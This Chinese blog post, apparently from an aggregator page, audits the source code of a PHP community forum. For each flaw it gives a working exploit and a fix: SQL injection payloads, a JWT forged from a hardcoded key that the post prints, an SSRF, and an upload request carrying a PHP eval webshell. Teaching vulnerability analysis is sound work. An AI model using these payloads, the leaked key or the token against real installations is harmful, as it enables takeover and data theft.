当前位置: 首页 > news >正文

多客圈子论坛代码审计(PHP代码审计)

前言:前几天看到同学发来了一个漏洞分析的报告,想着来分析分析源代码,就有了这篇文章,第一次写代码审计的文章,可能会有很多不足点,欢迎大家批评指正,谢谢!

项目源代码:https://pan.quark.cn/s/416971141321

本文参考:https://mp.weixin.qq.com/s/Na_rqDW5B4V9ptRuwTk1Lw

漏洞代码分析

1.SQL注入

Break

代码定位:

代码位于后端PHP\app\api\controller\Index.php文件的305行开始

参数 to_id、cate_id、tags_id 均存在注入点.



注入参数1:to_id


代码含义:这段代码的作用是根据用户ID(to_id)构建SQL查询条件,用于筛选特定用户的数据。

if (isset($param['to_id']) && $param['to_id'] > 0) { $where = 'user_id = '.$param['to_id']; }

注入示例:

?to_id=1%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),3)%20)--+

坑:注意最后需要用 ) --+ 进行闭合整个where语句


注入参数2:cate_id

代码含义:这段代码的作用是根据分类ID查询未置顶的商品,并按特定规则排序

if (isset($param['cate_id']) && $param['cate_id'] > 0) { $where = 'cate_id = '.$param['cate_id'].' AND is_ding = 0'; $order = 'is_ding desc,id desc'; }

注入示例:

?cate_id=1%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),3)%20)--+



注入参数3 :tags_id


代码含义:根据传入的标签ID,查询数据库中tags_ids字段包含该标签ID(前后带逗号)的记录。

if (isset($param['tags_id']) && $param['tags_id'] > 0) { $where = "tags_ids LIKE '%,".$param['tags_id'].",%'"; }

注入示例:

1%27)%20and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+

Fix

修复方案1(强制转换):

// 修复方法1 (强制转换) if(isset($param['to_id']) && $param['to_id'] > 0) { // 强制转换为整数类型,防止 SQL 注入(这是关键的安全措施) $to_id = (int)$param['to_id']; $where = "user_id = ".$to_id; }

修复方案2(参数化):

// 修复方法2 (thinkphp框架特性) if(isset($param['to_id']) && $param['to_id'] > 0) $where = ['user_id' => $param['to_id']];

其余注入点,修复方案类似

2.JWT硬编码

代码位置:\multi-social-master\后端PHP\config\jwt.php



当key被泄露时,利用该key可以生成JWT

利用代码:

<?php function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); } $header = ['typ' => 'JWT', 'alg' => 'HS256']; $payload = ['uid' => '1']; $key = '966285d811d508e0383235c457d79391'; $segments = [ base64url_encode(json_encode($header)), base64url_encode(json_encode($payload)) ]; $signature = hash_hmac('sha256', implode('.', $segments), $key, true); $segments[] = base64url_encode($signature); $jwt = implode('.', $segments); echo $jwt;

生成得到JWT,利用该JWT后续可进行任意文件读取

3.JWT泄露

Break

访问接口/api/login 可直接返回JWT




利用JWT可进行未授权访问

Fix

漏洞代码位置:\multi-social-master\后端PHP\app\admin\controller\Login.php 的 23行开始

class Login extends Base { public $needLogin = false; public function index() { $a = [ 'a' => 1, 'b' => 2, 'c' => 3 ]; trace($a, 'dandan'); try { $post = Request::post(); $login_token = Jwt::encode([ 'uid' => 1 ], Config::get('jwt.key')); return success([ 'login_token' => $login_token // 直接将JWT返回给客户端 ]); } catch (\Exception $exception) { return error($exception->getMessage(), $exception->getCode()); } } }

修复代码(身份认证):

注意:这里只是演示修复方法,实际方案需要利用登录接口进行数据库查询认证

public function index() { $a = [ 'a' => 1, 'b' => 2, 'c' => 3 ]; trace($a, 'dandan'); try { $post = Request::post(); // 获取用户输入的用户名和密码 $username = $post['username'] ?? ''; $password = $post['password'] ?? ''; // 验证用户名和密码是否正确(这里需要根据实际数据库验证) // 示例:假设正确的用户名是admin,密码是123456 if ($username !== 'admin' || $password !== '123456') { return error('用户名或密码错误', 401); } $login_token = Jwt::encode([ 'uid' => 1 ], Config::get('jwt.key')); return success([ 'login_token' => $login_token // 直接将JWT返回给客户端 ]); } catch (\Exception $exception) { return error($exception->getMessage(), $exception->getCode()); } }

4.SSRF

Break


漏洞接口:/api/user/httpGet?url=

利用漏洞需要加上Token,也就是 JWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjF9.VQtQaEk7rvMOGHV5dBlNjWpWtBL-gFNpKBMNXTX3_ns


漏洞利用:读取 win.ini


Fix

漏洞代码路径:\multi-social-master\PHP\app\api\controller\User.php 的663 行开始

漏洞代码:

public function httpGet($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 500); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_URL, $url); $res = curl_exec($curl); curl_close($curl); return $res; }

修复代码(字符过滤):

public function httpGet($url) { // 只能使用http/https,不能访问内网 if (!preg_match('/^https?:\/\/(?!localhost|127\.0\.0\.1|169\.254\.169\.254|10\.|172\.16\.|192\.168\.)/i', $url)) { echo "hacker!"; return false; } $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 500); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_URL, $url); $res = curl_exec($curl); curl_close($curl); return $res; }

再次读取失败

5.文件上传漏洞

Break

漏洞接口:/index.php/api/User/up_img

漏洞利用:

POST /admin/upload_files/upload.html?&water=0 HTTP/1.1 Host: 192.168.119.53 Content-Length: 754 Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Accept: */* Origin: http://192.168.119.53 Referer: http://192.168.119.53/admin/Adinfo/edit.html?id=39 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: thinkphp_show_page_trace=0|0; PHPSESSID=fac2eb23b504f43ebdcf8e7e46b41053 Connection: keep-alive ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="id" WU_FILE_0 ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="name" a.png ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="type" image/png ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="lastModifiedDate" Sat Apr 18 2026 16:55:49 GMT+0800 (新加坡标准时间) ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="size" 29 ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/png <?php eval($_REQUEST['a']);?> ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9--

上传成功



拼接路径访问并执行命令:


Fix

代码位置:\multi-social-master\PHP\app\common\model\UploadFiles.php 的 55行开始


漏洞代码:

public function upload($folder_name='files',$app=1) { try { $param = request()->param(); $file = request()->file('file'); //文件后缀名 $ext = $file->getOriginalExtension(); //配置信息 $config = xn_cfg('upload'); //存储类型 $storage = $config['storage']; $isImage = 1; //图片水印处理 if (isset($param['water'])) { if( in_array( strtolower($ext), ['png','jpg','jpeg','gif','bmp'] ) ) { if( self::setWater($file,$param['water']) === false ) { return ['code'=>0,'msg'=>'水印配置有误']; } } }

修复代码(白名单):

public function upload($folder_name='files',$app=1) { try { $param = request()->param(); $file = request()->file('file'); //文件后缀名 $ext = strtolower($file->getOriginalExtension()); $allowedExts = [ 'avi', // 微软视频格式 'wmv', // Windows Media Video 'mpeg', // MPEG视频 'mp4', // MP4视频(最常见) 'm4v', // iTunes视频格式 'mov', // QuickTime视频 'asf', // 高级流格式 'flv', // Flash视频 'f4v', // Flash MP4视频 'rmvb', // RealMedia可变比特率 'rm', // RealMedia '3gp', // 手机视频格式 'vob', // DVD视频对象 'png', 'jpeg', 'webp', 'gif', 'mpeg', 'jpg' ]; // 白名单上传文件 if(!in_array($ext, $allowedExts)){ return [code => 0, 'msg' => '不支持的文件扩展']; } //配置信息 $config = xn_cfg('upload'); //存储类型 $storage = $config['storage']; $isImage = 1; //图片水印处理 if (isset($param['water'])) { if( in_array( strtolower($ext), ['png','jpg','jpeg','gif','bmp'] ) ) { if( self::setWater($file,$param['water']) === false ) { return ['code'=>0,'msg'=>'水印配置有误']; } } }

再次尝试上传:


需要注意上面仅仅演示了一个上传点,分析代码发现有许多上传点。

http://www.jsqmd.com/news/668886/

相关文章:

  • 【AGI政策制定黄金72小时】:从奇点大会技术共识到地方条例起草的实战操作手册
  • 欠驱动无人船AUV二维路径跟踪控制(反步控制+LOS制导)MATLAB仿真
  • C++:全景目录
  • 贵阳招聘市场2026年全景盘点:10大竞品对比与求职指南 - 精选优质企业推荐官
  • 【仅限前200名技术决策者获取】:2026奇点大会AGI气候预测引擎API接口规范及部署手册(含实测减排误差<0.8%的基准测试数据)
  • 从CSP-J真题到算法实战:拆解‘鸡蛋硬度’问题的递归与动态规划双视角
  • 如何在Unity中5分钟内实现专业级3D高斯泼溅渲染
  • 2026创新项目实训-项目博客(三)
  • 嵌入式消费品商业开发需求导出与便捷调试
  • SpringBoot+Vue企业人事管理系统源码+论文
  • 5G手机第一次联网时,基站是怎么知道你在哪个方向的?聊聊PRACH Occasion与波束的‘暗号’映射
  • Substance 3D Painter Pt 2025 v11.0.1详细图文安装教程
  • 山东大学软件学院项目实训-创新实训-计科智伴(一)——个人博客(后端搭建)
  • 常识不是知识,而是推理操作系统:解密AGI底层常识架构的5层抽象模型与2个已被验证的轻量化嵌入方案
  • 第 4 篇 - Redis 数据类型总览:5 种核心类型
  • 10分钟掌握Fideo:跨平台直播录制终极指南
  • SpringBoot+Vue基于爬虫的在线新闻聚合平台源码+论文
  • MongoPlus 教程
  • 2026奇点智能技术大会核心洞察(AGI-VR协同架构白皮书首发)
  • 【2026奇点智能技术大会权威内参】:AGI人才争夺战已打响,HR必须掌握的5大精准匹配模型与实时评估框架
  • 如何同步SQL冗余字段信息_通过触发器实现自动反向填充
  • 从模糊到通透:CSS filter与backdrop-filter打造沉浸式视觉体验
  • 告别ThreadLocal!Spring WebFlux中如何用Reactor Context优雅传递用户Token?
  • 湖南华商文化商务有限公司官网介绍
  • 还在用简单 AI 对话?Spring AI 自定义工具 + MCP 协议直接打通外部服务!
  • SpringBoot+Vue编程语言学习辅导网站源码+论文
  • ImageMagick进阶玩法:结合Windows批处理,自动备份并生成网站缩略图与社交分享图
  • 打造简易Agent,深度解析LLM与工具的完美协作!
  • 深入AUTOSAR内存管理:拆解vLinkGen如何配置数据段的多阶段初始化(Early/One/HardReset)
  • async,future,packaged_task,promise